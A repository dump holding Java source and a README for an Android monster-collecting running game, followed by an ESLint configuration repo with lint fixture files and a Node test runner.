gridview = (GridView) view.findViewById(R.id.viewGridView); gridview.setAdapter(adapter); gridview.setOnItemClickListener(new OnItemClickListener() { @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { // gets the user's selected equipment Monster newMonster = adapter.getItem(position); // Adds new monster in, even if null equippedMonsters.set(currentPosition - 1, newMonster); // updates the monster that used to be equipped if (currentSticker != null) { //equippedMonsters.remove(currentSticker); unequippedMonsters.add(currentSticker); currentSticker.equipped = 0; currentSticker.position = 0; // TODO instead of relying on database for everything, store it all locally and then send it once it's ready db.updateSticker(currentSticker); Hub.stickerList.add(currentSticker); } // if the monster selected wasn't the un-equipped null // update the monster if (newMonster != null) { newMonster.equipped = 1; newMonster.position = currentPosition; //equippedMonsters.set(newMonster.position - 1, newMonster); unequippedMonsters.remove(newMonster); //Hub.equippedStickers = equippedMonsters; // TODO instead of relying on database for everything, store it all locally and then send it once it's ready db.updateSticker(newMonster); Hub.stickerList.remove(newMonster); } Hub.equipItems(); //Goes back to equipped page. } }); gridview.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() { @Override public boolean onItemLongClick(AdapterView<?> parent, View view, int position, long id) { if (adapter.getItem(position) != null) { Hub.viewSticker = adapter.getItem(position); ViewStickerDialog newFragment = new ViewStickerDialog(); //newFragment.setStyle(DialogFragment.STYLE_NORMAL, R.style.ViewStickerDialog); newFragment.setStyle(DialogFragment.STYLE_NO_TITLE,android.R.style.Theme_Holo_Light); newFragment.show(getFragmentManager(), "View Sticker"); } return true; } }); pref = getActivity().getSharedPreferences("MonsterColorRun", Context.MODE_PRIVATE); firstTime = pref.getBoolean(getString(R.string.chooseMonster), true); //firstTime = TutorialTest.equipsticker; view.post(new Runnable() { @Override public void run() { // TODO Auto-generated method stub if (firstTime) { showPickMonster = new ShowcaseView.Builder(getActivity()) .setTarget(new ViewTarget(R.id.viewGridView, getActivity())) .setContentText("Showcase View") .setContentText("Click edit party to edit your party") .build(); showPickMonster.overrideButtonClick(new View.OnClickListener() { @Override public void onClick(View v) { showPickMonster.hide(); commonHide(showPickMonster); ((ViewGroup)getActivity().getWindow().getDecorView()).removeView(showPickMonster); pref.edit().putBoolean(getString(R.string.chooseMonster), false).apply(); pref.edit().putBoolean(getString(R.string.equipMonsterSecond), true).apply(); TutorialTest.equipsticker = false; TutorialTest.equipItem2 = true; } }); } } }); return view; } public static void commonHide(ShowcaseView scv) { scv.setOnClickListener(null); scv.setOnShowcaseEventListener(null); scv.setOnTouchListener(null); } } <file_sep>/worldrunner/src/Items/ViewSticker.java package Items; import java.util.ArrayList; import java.util.List; import DB.Model.Monster; import DB.Model.Sticker; import Items.Adapters.StickerAdapter; import android.app.DialogFragment; import android.app.Fragment; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.GridView; import android.widget.ListView; import android.widget.Toast; import android.widget.AdapterView.OnItemClickListener; import com.brnleehng.worldrunner.Hub; import com.brnleehng.worldrunner.R; // Not used? public class ViewSticker extends Fragment { GridView gridview; List<Monster> list; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { super.onCreate(savedInstanceState); View view = inflater.inflate(R.layout.viewitems_activity, container, false); list = Hub.stickerList; final StickerAdapter adapter = new StickerAdapter(getActivity(), R.layout.mylist, list); gridview = (GridView) view.findViewById(R.id.viewGridView); gridview.setAdapter(adapter); gridview.setOnItemClickListener(new OnItemClickListener() { @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { if (adapter.getItem(position) != null) { Toast.makeText(getActivity(), adapter.getItem(position).name, Toast.LENGTH_LONG).show(); Hub.viewSticker = adapter.getItem(position); ViewStickerDialog newFragment = new ViewStickerDialog(); //newFragment.setStyle(DialogFragment.STYLE_NORMAL, R.style.ViewStickerDialog); newFragment.setStyle(DialogFragment.STYLE_NO_TITLE,android.R.style.Theme_Holo_Light); newFragment.show(getFragmentManager(), "View Sticker"); } } }); return view; } } <file_sep>/worldrunner/src/Items/SellStickerGrid.java package Items; import java.util.ArrayList; import java.util.List; import DB.DBManager; import DB.Model.Monster; import DB.Model.Sticker; import Items.Adapters.StickerAdapter; import android.app.DialogFragment; import android.app.Fragment; import android.graphics.Color; import android.os.Bundle; import android.util.Log; import android.util.SparseBooleanArray; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.view.View.OnClickListener; import android.widget.AdapterView; import android.widget.AdapterView.OnItemLongClickListener; import android.widget.Button; import android.widget.GridView; import android.widget.Toast; import android.widget.AdapterView.OnItemClickListener; import com.brnleehng.worldrunner.Hub; import com.brnleehng.worldrunner.R; public class SellStickerGrid extends Fragment { GridView gridview; List<Monster> unequippedMonster; //private StickerAdapter adapter; private ArrayList<Monster> sellList; DBManager db; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { super.onCreate(savedInstanceState); View view = inflater.inflate(R.layout.sellequipmentgrid_activity, container, false); unequippedMonster = new ArrayList<Monster>(); for (Monster monster : Hub.stickerList) { if (monster.equipped == 0) { unequippedMonster.add(monster); } } //list = Hub.stickerList; db = new DBManager(getActivity()); sellList = new ArrayList<Monster>(); final StickerAdapter adapter = new StickerAdapter(getActivity(), R.layout.mylist, unequippedMonster); gridview = (GridView) view.findViewById(R.id.gridview); // gridview gridview.setAdapter(adapter); //gridview.setChoiceMode(GridView.CHOICE_MODE_MULTIPLE_MODAL); gridview.setOnItemClickListener(new OnItemClickListener() { @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { boolean checked = adapter.toggleSelection(position); Monster monster = adapter.getItem(position); sellList.add(monster); if (checked) { //view.setBackgroundColor(Color.TRANSPARENT); sellList.remove(monster); } else { //view.setBackgroundColor(Color.BLUE); sellList.add(monster); } } }); gridview.setOnItemLongClickListener(new OnItemLongClickListener() { @Override public boolean onItemLongClick(AdapterView<?> parent, View view, int position, long id) { Log.d("long click", "made into the function"); if (adapter.getItem(position) != null) { Log.d("long click", "made into if statement"); Hub.viewSticker = adapter.getItem(position); ViewStickerDialog newFragment = new ViewStickerDialog(); //newFragment.setStyle(DialogFragment.STYLE_NORMAL, R.style.ViewStickerDialog); newFragment.setStyle(DialogFragment.STYLE_NO_TITLE,android.R.style.Theme_Holo_Light); newFragment.show(getFragmentManager(), "View Sticker"); Log.d("long click", "finished if statement"); } return true; } }); Button sellBtn = (Button) view.findViewById(R.id.sellBtn2); sellBtn.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { SparseBooleanArray selected = adapter.getSelectedIds(); for (int i = (selected.size() - 1); i >= 0; i--) { if (selected.valueAt(i)) { Monster selecteditem = adapter.getItem(selected.keyAt(i)); // Remove selected items following the ids adapter.remove(selecteditem); db.deleteSticker(selecteditem); // reloads the user party and all items DBManager db = new DBManager(getActivity().getApplicationContext()); Hub.getPlayerData(db); db.close(); } } adapter.removeSelection(); } }); return view; } } <file_sep>/worldrunner/src/com/brnleehng/worldrunner/Start.java package com.brnleehng.worldrunner; import com.brnleehng.worldrunner.R; import com.brnleehng.worldrunner.R.id; import com.brnleehng.worldrunner.R.layout; import android.app.Activity; import android.content.Intent; import android.content.SharedPreferences; import android.os.Bundle; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; // The start page. Currently not used and skipped to the next step. public class Start extends Activity { private Button startButton; public static final String PREFS_NAME = "MyPrefsFile"; @Override protected void onStart() { super.onStart(); } @Override protected void onStop() { super.onStop(); } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.start_activity); startButton = (Button) findViewById(R.id.gameStartButton); startButton.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { SharedPreferences settings = getSharedPreferences(PREFS_NAME, 0); Intent intent; if (settings.getBoolean("first_time", true)) { intent = new Intent(Start.this, Register.class); } else { //@TODO change the correct menu intent = new Intent(Start.this, Pregame.class); } Start.this.startActivity(intent); } }); } @Override public void onResume() { super.onResume(); } @Override public void onPause() { super.onPause(); } }<file_sep>/worldrunner/src/com/brnleehng/worldrunner/MySoundEffect.java package com.brnleehng.worldrunner; import android.media.AudioManager; import android.media.SoundPool; public class MySoundEffect { final SoundPool sp = new SoundPool(2, AudioManager.STREAM_MUSIC, 0); } <file_sep>/worldrunner/src/Abilities/Buff.java package Abilities; // Data model that represents a buff a monster can get public class Buff { public String name; public String description; public int duration; public int effect; public double modifier; public Buff(String name, String description, int duration, int effect, double modifier) { this.name = name; this.description = description; this.duration = duration; this.effect = effect; this.modifier = modifier; } } <file_sep>/README.md Use: http://www.freeformatter.com/json-formatter.html#ad-output to see the JSON examples better Register - Query Add sticker: Receive json of multiple pid (players id), sid (sticker id), starting level (1) Generate new row with unique pstid, with passed information, and cross reference information with sid from the sticker reference table (using the given initial values) ex: {"1":[{"pid":5}, {"sid":12}, {"current_lvl":1}], "2":[{"pid":2}, {"sid":3}, {"current_lvl":1}]} Remove stickers: Receive json of all the pstid (player sticker table id) delete the pstid from the players_sticker Example: {{"1":[{"ptsid":5}]}, {"2":[{"ptsid":8}]}} Update Sticker: Receive json of every field in the sticker and update the appropriate details Example: {"1":[{"pstud":5}, {"pid":1}, {"sid":12}, {"name":"<NAME>"}, {"color":1}, {"current_lvl":1}, {"current_exp": 120}, {"current_speed": 25}, {"current_reach": 12}, {"spaid":1}, {"saaid":2}, {"evolve":1}], "2":[{"pstud":5}, {"pid":1}, {"sid":12}, {"name":"<NAME>"}, {"color":1}, {"current_lvl":1}, {"current_exp": 120}, {"current_speed": 25}, {"current_reach": 12}, {"spaid":1}, {"saaid":2}, {"evolve":1}]} Note: We'll probably have to seperate this out to specfic types of updates instead of updating everything, but this will be fine for now Get stickers: Reveives the pid, returns json of every field Add equipment: Receive pid (players id), eid (equipment id), starting level (1) generates a new row inside the player equipment table ex: similar to sticker Remove equipments: Receive the etid (equipment table id) delete the etid from the players_equipment ex: similar to sticker Update Equipment: receives every field to the equipment and update the apporopriate details Example: similar to sticker Get equipments: Reveives the pid, returns everything Example: similar to sticker Create new player: Recieves username, fname, and lname Update player: Receive json of all the fields from the player and update their information Get Player: Receives the player id and username. Verify that the pid and the username matches Receive json of all the fields Accept/Reject friends requests: Recieves two pid (the user's and their friend's) make two entry in their table: user with friend and friend with user For now, only be able to add friends and no verification necessary Get friends list: Reveives the pid, returns everything Have a get for all of the reference schema, except for race that returns a json <file_sep>/worldrunner/src/dbReference/AbilitiesManager.java package dbReference; import java.util.ArrayList; import java.util.List; import metaModel.MetaAbility; import DB.Model.Sticker; import android.content.ContentValues; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; public class AbilitiesManager { private static final String ABILITIES_REFERENCE = "abilitiesReference"; private static final String AID = "aid"; // ability ID private static final String TYPE = "type"; //private static final String LEVEL = "level"; private static final String NAME = "name"; private static final String DESCRIPTION = "description"; private static final String STEPS = "steps"; private static final String ATTRIBUTE = "attribute"; private static final String MODIFIER= "modifier"; private static final String DURATION = "duration"; /** * Creates the Table for Stickers * @param db */ public static void create(SQLiteDatabase db) { String CREATE_STICKER_TABLE = "CREATE TABLE " + ABILITIES_REFERENCE + "(" + AID + " INTEGER PRIMARY KEY," + TYPE + " INTEGER, " + NAME + " TEXT," + DESCRIPTION + " TEXT," + STEPS + " INTEGER, " + ATTRIBUTE + " INTEGER," + MODIFIER + " REAL," + DURATION + " INTEGER" + ")"; db.execSQL(CREATE_STICKER_TABLE); //int id, int type, String name, String description, int steps, int attribute, double modifier, int duration createInitial(db, new MetaAbility(1, 1, "Fire Storm", "Does 1.5 Times monster's attack to all enemies", 200, 0, 1.5, -1)); createInitial(db, new MetaAbility(2, 1, "Water Storm", "Does 1.5 Times monster's attack to all enemies", 200, 1, 1.5, -1)); createInitial(db, new MetaAbility(3, 1, "Fire Storm", "Does 1.5 Times monster's attack to all enemies", 200, 2, 1.5, -1)); createInitial(db, new MetaAbility(4, 1, "Fire Storm", "Does 1.5 Times monster's attack to all enemies", 200, 3, 1.5, -1)); createInitial(db, new MetaAbility(5, 1, "Fire Storm", "Does 1.5 Times monster's attack to all enemies", 200, 4, 1.5, -1)); createInitial(db, new MetaAbility(6, 2, "Fire Storm", "Does 1.5 Times monster's attack to all enemies", 200, 1, 1.5, 3)); createInitial(db, new MetaAbility(7, 2, "Fire Storm", "Does 1.5 Times monster's attack to all enemies", 200, 2, 1.5, 3)); createInitial(db, new MetaAbility(8, 2, "Fire Storm", "Does 1.5 Times monster's attack to all enemies", 200, 3, 1.5, 3)); createInitial(db, new MetaAbility(9, 3, "Fire Storm", "Does 1.5 Times monster's attack to all enemies", 200, 0, 1.5, -1)); } /** * Helper method to help create initial stickers from DB setup * @param db - connection to the DB * @param sticker - Sticker model to be added to the DB */ private static void createInitial(SQLiteDatabase db, MetaAbility ability) { ContentValues values = new ContentValues(); values = addContent(values, ability); db.insert(ABILITIES_REFERENCE, null, values); } /** * Drops the Sticker table * @param db */ public static void drop(SQLiteDatabase db) { db.execSQL("DROP TABLE IF EXISTS " + ABILITIES_REFERENCE); } /** * Returns an ArrayList of all stickers * @param db * @return list of all stickers */ public static List<MetaAbility> getAbility(SQLiteDatabase db) { List<MetaAbility> list = new ArrayList<MetaAbility>(); String select = "SELECT * FROM " + ABILITIES_REFERENCE; Cursor cursor = db.rawQuery(select, null); if (cursor.moveToFirst()) { do { int id = cursor.getInt(0); int type = cursor.getInt(1); String name = cursor.getString(2); String description = cursor.getString(3); int steps = cursor.getInt(4); int attribute = cursor.getInt(5); double modifier = cursor.getDouble(6); int duration = cursor.getInt(7); list.add(new MetaAbility(id, type, name, description, steps, attribute, modifier, duration)); } while (cursor.moveToNext()); } return list; } /** * add new sticker to the DB * @param db * @param sticker - sticker to be added */ public static void addAbility(SQLiteDatabase db, MetaAbility ability) { ContentValues values = new ContentValues(); values = addContent(values, ability); db.insert(ABILITIES_REFERENCE, null, values); } /** * Add in a list of stickers to the dB * @param db * @param stickers - list of stickers to be added into the DB */ public static void addStickers(SQLiteDatabase db, List<MetaAbility> abilities) { for (MetaAbility ability : abilities) { addAbility(db, ability); } } /** * Deletes the give sticker in the DB * @param db * @param sticker - sticker to be deleted */ public static void deleteAbility(SQLiteDatabase db, int uid) { db.delete(ABILITIES_REFERENCE, AID + " = ?", new String[] { String.valueOf(uid) }); } /** * Helps setup the meta ability to be used in an add query * @param values - the thing to be added to * @param sticker - the sticker that will be affected * @return a ContentValues that have been updated */ private static ContentValues addContent(ContentValues values, MetaAbility ability) { values.put(AID, ability.id); values.put(TYPE, ability.type); values.put(NAME, ability.name); values.put(DESCRIPTION, ability.description); values.put(STEPS, ability.steps); values.put(ATTRIBUTE, ability.attribute); values.put(MODIFIER, ability.modifier); values.put(DURATION, ability.duration); return values; } } <file_sep>/worldrunner/src/Abilities/SupportAbility.java package Abilities; public class SupportAbility extends Ability { public double modifier; public int attribute; public int duration; public SupportAbility(String name, String description, int level, int steps, double modifer, int attribute,int duration, int abilityId) { super(name, description, level, steps, abilityId); // TODO Auto-generated constructor stub this.modifier = modifer; this.attribute = attribute; this.duration = duration; //1 = Attack //2 = Defense //3 = Speed } @Override public double activateAbility() { // TODO Auto-generated method stub return modifier * level; } }<file_sep>/worldrunner/src/dbReference/ReferenceManager.java package dbReference; import java.util.ArrayList; import java.util.List; import metaModel.City; import metaModel.Dungeon; import metaModel.DungeonMonsters; import metaModel.ExpTable; import metaModel.MetaAbility; import metaModel.MetaRoute; import metaModel.Route; import metaModel.RouteMonsters; import dbReference.CityManager; import dbReference.DungeonManager; import Abilities.Ability; import Abilities.DamageAllAbility; import Abilities.SupportAbility; import DB.Model.BattleMonster; import DB.Model.Equipment; import DB.Model.Monster; import DB.Model.Player; import DB.Model.Sticker; import android.content.Context; import android.database.DatabaseUtils; import android.database.sqlite.SQLiteDatabase; import android.database.sqlite.SQLiteDatabase.CursorFactory; import android.database.sqlite.SQLiteOpenHelper; import android.util.Log; import android.util.SparseArray; /** * The DB Manager centralizes and uses all DB related actions */ public class ReferenceManager extends SQLiteOpenHelper { private static final String DATABASE_NAME = "reference"; private static final int DATABASE_VERSION = 1; private Context context; //public SQLiteDatabase db; public ReferenceManager(Context context) { super(context, DATABASE_NAME, null, DATABASE_VERSION); this.context = context; if (ExpTable.expTable == null) ExpTable.populateTable(); } @Override public void onCreate(SQLiteDatabase db) { AbilitiesManager.create(db); CityManager.create(db); DungeonManager.create(db); MonsterManager.create(db); RouteManager.create(db); } @Override // drops and recreates everything public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { AbilitiesManager.drop(db); CityManager.drop(db); DungeonManager.drop(db); MonsterManager.drop(db); RouteManager.drop(db); onCreate(db); } public List<int[]> getExp() { return ExpTable.expTable; } public List<Sticker> monstersList() { SQLiteDatabase db = this.getWritableDatabase(); return MonsterManager.getSticker(db); } public List<MetaAbility> abilitiesList() { SQLiteDatabase db = this.getWritableDatabase(); return AbilitiesManager.getAbility(db); } public List<City> getCitiesList() { SQLiteDatabase db = this.getWritableDatabase(); return CityManager.getCity(db); } public SparseArray<List<Dungeon>> getDungeonsList() { SQLiteDatabase db = this.getWritableDatabase(); List<Dungeon> dungeons = DungeonManager.getDungeons(db); SparseArray<List<Dungeon>> list = new SparseArray<List<Dungeon>>(); for (Dungeon dungeon : dungeons) { int cityId = dungeon.cityId; if (list.get(cityId) == null) { list.put(cityId, new ArrayList<Dungeon>()); } list.get(cityId).add(dungeon); } return list; } // TODO populating with monsters // key = city id, value = routes that belong public SparseArray<List<Route>> getRoutesList() { SQLiteDatabase db = this.getWritableDatabase(); List<Route> routes = RouteManager.getRoutes(db); SparseArray<List<Route>> list = new SparseArray<List<Route>>(); for (Route route : routes) { int cityId = route.from; if (list.get(cityId) == null) { list.put(cityId, new ArrayList<Route>()); } list.get(cityId).add(route); } return list; } public SparseArray<List<RouteMonsters>> getRouteMonstersList() { List<RouteMonsters> monsters = new ArrayList<RouteMonsters>(); monsters.add(new RouteMonsters(1, 6, 1, 5, 7, 1)); monsters.add(new RouteMonsters(2, 7, 1, 5, 7, 1)); monsters.add(new RouteMonsters(3, 8, 1, 5, 7, 1)); SparseArray<List<RouteMonsters>> list = new SparseArray<List<RouteMonsters>>(); for (RouteMonsters monster : monsters) { int routeId = monster.routeId; if (list.get(routeId) == null) { list.put(routeId, new ArrayList<RouteMonsters>()); } list.get(routeId).add(monster); } return list; } public SparseArray<List<DungeonMonsters>> getDungeonMonstersList() { List<DungeonMonsters> monsters = new ArrayList<DungeonMonsters>(); //int id, int monsterId, int routeId, int capture, int level monsters.add(new DungeonMonsters(1, 4, 1, 5, 1)); monsters.add(new DungeonMonsters(2, 5, 1, 5, 1)); monsters.add(new DungeonMonsters(3, 6, 1, 5, 1)); monsters.add(new DungeonMonsters(4, 5, 2, 5, 5)); monsters.add(new DungeonMonsters(5, 6, 2, 5, 5)); monsters.add(new DungeonMonsters(6, 7, 2, 5, 5)); monsters.add(new DungeonMonsters(7, 7, 3, 5, 9)); monsters.add(new DungeonMonsters(8, 8, 3, 5, 9)); monsters.add(new DungeonMonsters(9, 9, 3, 5, 9)); SparseArray<List<DungeonMonsters>> list = new SparseArray<List<DungeonMonsters>>(); for (DungeonMonsters monster : monsters) { int dungeonId = monster.dungeonId; if (list.get(dungeonId) == null) { list.put(dungeonId, new ArrayList<DungeonMonsters>()); } list.get(dungeonId).add(monster); } return list; } /** OTHER */ /** * * City * */ /* public ArrayList<City> getCities() { SQLiteDatabase db = this.getWritableDatabase(); return CityManager.getCity(db); }*/ public int updateCity(City city) { SQLiteDatabase db = this.getWritableDatabase(); return CityManager.updateCity(db, city); } public void deleteCity(City city) { SQLiteDatabase db = this.getWritableDatabase(); CityManager.deleteCity(db, city); db.close(); } public void addCity(City city) { SQLiteDatabase db = this.getWritableDatabase(); CityManager.addCity(db, city); db.close(); } /** * * CITY MAPPINGs * */ /** * Stub that setup the initial mapping cities to their routes * @return a SparseArray that contains all of the mapping of cities and their cities * in the form of cityId -> List of routes id that belong to the city */ /* public SparseArray<ArrayList<Route>> getCityRoutes() { ArrayList<Route> routes = getRoutes(); SparseArray<ArrayList<Route>> map = new SparseArray<ArrayList<Route>>(); ArrayList<Route> city1Route = new ArrayList<Route>(); // maps to route ID path so we can get more info from the route class // TODO note that we would need to get the mapping from the RouteManager // TODO also get the routing of monsters to the routes // and then loop through them and put the appropriate routes // adds the monsters in // TODO get the monster routing mapping // getRouteMonsters() // future, probably empty or doesn't exist and just get the list from db call for (int i = 0; i < routes.size(); i++) { routes.get(i).monsters.add(TURTLE); routes.get(i).monsters.add(SEAHORSE); routes.get(i).monsters.add(SNAKE); } city1Route.add(routes.get(0)); ArrayList<Route> city2Route = new ArrayList<Route>(); city2Route.add(routes.get(1)); map.put(1, city1Route); map.put(2, city2Route); return map; }*/ /** * Stub that setup the initial mapping of cities to their dungeons * @return a SparseArray that contains all of the mapping of cities to their dungeons * in the form of cityId ->list of dungeons */ /*public SparseArray<ArrayList<Dungeon>> getCityDungeons() { SparseArray<ArrayList<Dungeon>> map = new SparseArray<ArrayList<Dungeon>>(); ArrayList<Dungeon> city1Dungeon = new ArrayList<Dungeon>(); ArrayList<Dungeon> dungeons = getDungeons(); // maps dungeons to their monsters, would have to loop through // the mapping to add the dungeon // getDungeonMonster() // future, probably empty or doesn't exist and just get the list from db call dungeons.get(0).monsters.add(MARTIN); dungeons.get(0).monsters.add(TURTLE); dungeons.get(1).monsters.add(SEAHORSE); dungeons.get(1).monsters.add(SNAKE); // maps from city to dungeon id // similar to routes, need to get a mapping from the actual db city1Dungeon.add(dungeons.get(0)); ArrayList<Dungeon> city2Dungeon = new ArrayList<Dungeon>(); city2Dungeon.add(dungeons.get(1)); map.put(1, city1Dungeon); map.put(2, city2Dungeon); return map; }*/ /** * * Dungeon Mappings * */ /** * Stub that setup the initial mapping of monsters to their routes * @return a SparseArray that contains all of the mapping of monsters to their routes * in the form of routeId -> list of monsters */ /* public SparseArray<ArrayList<Integer>> getRouteMonsters() { SparseArray<ArrayList<Integer>> map = new SparseArray<ArrayList<Integer>>(); ArrayList<Integer> route1Monsters = new ArrayList<Integer>(); route1Monsters.add(4); route1Monsters.add(5); route1Monsters.add(6); map.put(1, route1Monsters); map.put(2, route1Monsters); return map; }*/ /** * Stub that setup the initial mapping of monsters to their dungeons * @return a SparseArray that contains all of the mapping of monsters to their dungeons * in the form of dungeonId -> list of monsters */ /* public SparseArray<ArrayList<Integer>> getDungeonMonsters() { SparseArray<ArrayList<Integer>> map = new SparseArray<ArrayList<Integer>>(); ArrayList<Integer> dungeon1Monsters = new ArrayList<Integer>(); ArrayList<Integer> dungeon2Monsters = new ArrayList<Integer>(); dungeon1Monsters.add(4); dungeon1Monsters.add(5); dungeon2Monsters.add(4); dungeon2Monsters.add(6); map.put(1, dungeon1Monsters); map.put(2, dungeon2Monsters); return map; }*/ public int getNumMonsters() { SQLiteDatabase db = this.getWritableDatabase(); return (int) DatabaseUtils.queryNumEntries(db, "monstersReference"); // TODO need to be changed to use the rare monster list } }
d11bf8d0216d8063d0aaafc9c55bf3265dbb9932
[ "Markdown", "Java" ]
32
Java
chang47/MonsterColorRun
ad4bef2ab17db19478610ff5d0f5380971d74edd
ce520fdfa6775c8e17fd85a9d46081e1c4aa9f1d
refs/heads/master
<repo_name>glenjamin/glenjamin-eslint-config<file_sep>/default/good/envless.js (function() { var a; function stuff() { return { a: 1 }; } stuff(); definedLater(); function definedLater() { return a + a; } })(); <file_sep>/default/bad/callbacks.js function asyncThing(err, result) { result += 1; } module.exports = asyncThing; <file_sep>/default/good/dont-care-about-quotes-or-eqeqeq.js /* eslint-env node */ var a = 1; if (a == "a" || a == 'a') { a *= a; } <file_sep>/default/bad/browser-opt-in.js document.createElement('div'); window.open('google'); location.reload(); <file_sep>/README.md # Glenjamin's eslint config This is for me, feel free to use it if you want. [![Build Status](https://travis-ci.org/glenjamin/glenjamin-eslint-config.svg?branch=master)](https://travis-ci.org/glenjamin/glenjamin-eslint-config) ## Install ### ES5 ```sh npm install --save-dev --save-exact '@glenjamin/eslint-config' eslint@2.8.0 ``` ```json { "extends": "@glenjamin" } ``` ### ES6 (using babel's parser) ```sh npm install --save-dev '@glenjamin/eslint-config-es6' ``` ```json { "extends": "@glenjamin/eslint-config-es6" } ``` ### ES6 + React (using babel's parser) ```sh npm install --save-dev '@glenjamin/eslint-config-react' ``` ```json { "extends": "@glenjamin/eslint-config-react" } ``` <file_sep>/default/good/indentation.js // I don't really care all that much // but figure i'd better pick something /* eslint-env node */ /* eslint-disable no-magic-numbers */ var x; function a(b) { return b; } if (x > 7) { if (x == 2) { x -= 3; } } else { x += 7; } a('abc', { blah: 'blah', and: 'more' }); a( 'abc', 'xyz', x ); <file_sep>/test.js /* eslint-env node */ var fs = require('fs'); var path = require('path'); var exec = require('child_process').exec; var rulesets = [ 'default', // 'es6', // 'react' ]; var results = {}; rulesets.forEach(function(ruleset) { results[ruleset] = { good: { tests: [], done: false }, bad: { tests: [], done: false }, }; loadTests(ruleset, 'good', function(err, tests) { if (err) throw err; runTests(ruleset, tests, 'good', checkGood); }); loadTests(ruleset, 'bad', function(err, tests) { if (err) throw err; runTests(ruleset, tests, 'bad', checkBad); }); }); function runTests(ruleset, tests, type, check) { execTests(ruleset, tests, function(err, testResults) { if (err) throw err; var section = results[ruleset][type]; section.tests = testResults.map(t => check(ruleset, t)); section.done = true; checkDone(); }); } function execTests(ruleset, tests, callback) { var testResults = tests.map(name => ({ name, result: null })); testResults.forEach(test => { execTest(ruleset, test.name, (err, testResult) => { test.result = err || testResult; checkRulesetComplete(); }); }); checkRulesetComplete(); function checkRulesetComplete() { if (testResults.some(t => !t.result)) return; callback(null, testResults); } } function execTest(ruleset, name, callback) { var rulesetDir = path.join(__dirname, ruleset); var nodeModulesBin = path.join(rulesetDir, 'node_modules/.bin'); exec(`eslint -f json --max-warnings 0 ${name}`, { cwd: rulesetDir, env: { PATH: `${nodeModulesBin}:${process.env.PATH}` }, }, (err, stdout) => { try { var json = JSON.parse(stdout); return callback(null, json[0]); } catch (ex) { if (err) return callback(err); return callback(new Error("Unknown error")); } }); } function checkGood(ruleset, test) { var result = test.result; if (result instanceof Error) { return errored(test); } var passed = (result.errorCount == 0 && result.warningCount == 0); return { passed, title: test.name, summary: passed ? 'Lint passed' : 'Lint failed', detail: passed ? [] : result.messages.map(m => ({ passed: false, info: `${m.message} (line ${m.line})` })) }; } function checkBad(ruleset, test) { var result = test.result; if (result instanceof Error) { return errored(test); } var expectations = loadExpectations(ruleset, test.name); if (expectations) { return checkBadWithExpectations(test, expectations); } var passed = (result.errorCount > 0 || result.warningCount > 0); return { passed, title: test.name, summary: passed ? 'Lint failed' : 'Lint passed', detail: passed ? result.messages.map(m => ({ passed: null, info: `${m.message} (line ${m.line})` })) : [] }; } function checkBadWithExpectations(test, expectations) { var messages = test.result.messages; var detail = expectations.map(x => { var info = find(messages, m => ( m.line == x[0] && contains(m.message, x[1])) ); var passed = !!info; if (passed) { info = `${info.message} (line ${info.line})`; } else { info = `Expected '${x[1]}' (line ${x[0]})`; } return { passed, info }; }); var overallPassed = detail.every(d => d.passed); return { passed: overallPassed, title: test.name, summary: overallPassed ? 'All checks matched' : 'Some checks failed', detail }; } function errored(test) { return { passed: false, title: test.name, summary: String(test.result).trim() }; } function checkDone() { if (rulesets.some(rulesetIncomplete)) return; reportSummary(); } /* eslint-disable no-console */ function reportSummary() { var code = 0; rulesets.forEach(ruleset => { console.log(`**** ${ruleset} ****`); console.log(`---- good ----`); reportTests(results[ruleset].good.tests); console.log(`---- bad ----`); reportTests(results[ruleset].bad.tests); console.log(''); }); function reportTests(tests) { tests.forEach(function(test) { if (!test.passed) code = 1; reportTest(test); }); } // eslint-disable-next-line no-process-exit process.exit(code); } function reportTest(test) { var headline = `${icon(test.passed)}\t${test.title}`; if (test.summary) headline += ` - ${test.summary}`; console.log(headline); (test.detail || []).forEach(detail => { console.log(`\t${icon(detail.passed)}\t${detail.info}`); }); } /* eslint-enable no-console */ function icon(pass) { if (pass === null) return ''; return pass ? '✅' : '❌'; } function loadExpectations(ruleset, name) { try { return require(path.join(__dirname, ruleset, name + 'on')); } catch (ex) { return null; } } function rulesetIncomplete(ruleset) { return !( results[ruleset].good.done && results[ruleset].bad.done ); } function loadTests(ruleset, type, callback) { var dir = path.join(__dirname, ruleset, type); fs.readdir(dir, function(err, files) { if (err) return callback(err); return callback(null, files .filter(x => /\.js$/.test(x)) .map(x => path.join(type, x))); }); } function find(arr, fn) { return arr.filter(fn)[0]; } function contains(str, x) { return str.indexOf(x) !== -1; } <file_sep>/default/bad/too-much-on-a-line.js /* eslint-env node */ var abc = require('abc'); abc.def(); <file_sep>/default/good/console-opt-in.js /* eslint-env browser */ // eslint-disable-next-line no-console console.log("hello!"); <file_sep>/default/good/var.js /* eslint-env node */ // one-var is allowed, value optional var a = 1, b; // separate vars are allowed too, value optional var c = 1; var d; // Use the variables, to avoid warnings d += a * b * c;
cc5a9ce0d4cb767e1751fa50dc671d6e8549a722
[ "JavaScript", "Markdown" ]
10
JavaScript
glenjamin/glenjamin-eslint-config
c65df078062fd45ef247ddb04ac30b11dc694fb6
87ad10e0b73e01b44e9a54bfc4b0f07b9c80e315
refs/heads/master
